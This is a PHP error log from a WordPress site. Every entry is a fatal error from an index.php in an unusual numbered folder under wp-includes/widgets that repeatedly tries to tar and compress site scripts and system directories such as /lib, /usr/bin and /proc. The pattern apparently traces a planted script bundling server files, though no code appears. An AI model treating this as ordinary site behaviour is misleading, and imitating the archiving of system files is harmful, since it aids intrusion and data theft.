[06-Nov-2025 01:30:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/plugins.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:30:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/widgets.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:30:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/server-side-render.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:31:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/hooks.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:31:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/nux.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:31:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/LICENSE.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:31:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/keyboard-shortcuts.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:31:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/customize-widgets.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:31:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/priority-queue.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:31:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/format-library.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/element.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/compose.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/deprecated.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/notices.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:19 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/router.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/blocks.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/warning.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dom.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/token-list.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/url.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/a11y.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/data.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/primitives.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/i18n.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/date.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:32:58 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/blob.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:40:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/react.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:40:42 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/opt/alt/php-internal" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:45:27 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/lib/python3.6/site-packages/__pycache__/six.cpython-36.pyc" that is not in the base directory "/lib" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:50:21 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 803211841 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:56:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Status501.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:59:53 UTC] PHP Fatal error:  Uncaught RuntimeException: phar error: unable to open file "/lib/.build-id/b5/e3f9daec37c1d7ccb3b55e5ba7a24a20cb8406" to add to phar archive in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->addFile()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:02:04 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/dev/null" that is not in the base directory "/proc/2136931" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:02:06 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/dev/null" that is not in the base directory "/proc/2136925" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:02:10 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/dev/null" that is not in the base directory "/proc/2136924" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:05:36 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/lib/python3.6/site-packages/__pycache__/six.cpython-36.pyc" that is not in the base directory "/lib" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:05:37 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/libexec/platform-python3.6" that is not in the base directory "/usr/bin" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:11:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Type.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:11:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/media.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:11:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/rss.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:11:22 UTC] PHP Fatal error:  Uncaught RuntimeException: phar error: unable to open file "/lib/.build-id/ac/9f50377915bb0785d0071439146f116441995c" to add to phar archive in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->addFile()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:11:39 UTC] PHP Fatal error:  Uncaught RuntimeException: phar error: unable to open file "/lib/.build-id/4c/a9c0f21bc0b98af6b51ef5ea84ea00f67a7ef7" to add to phar archive in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->addFile()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:14:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Base64.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:14:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/AES.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:15:12 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/SecretStream.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:15:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:16:39 UTC] PHP Fatal error:  Uncaught RuntimeException: phar error: unable to open file "/lib/.build-id/f3/86dd1e1f2448bd520fec0d2c735e9c7bab1e55" to add to phar archive in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->addFile()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:18:00 UTC] PHP Fatal error:  Uncaught RuntimeException: phar error: unable to open file "/lib/.build-id/ae/06a54d5f732b8541acb91a4d7b95543e632168" to add to phar archive in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->addFile()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:22:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/e11f24f0b28b9a03c16cb30ec44dd6a9c08592.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 02:23:02 UTC] PHP Fatal error:  Uncaught RuntimeException: phar error: unable to open file "/lib/.build-id/6d/9a02b72a5f7257526c75ec5569ad0202845e4c" to add to phar archive in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->addFile()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
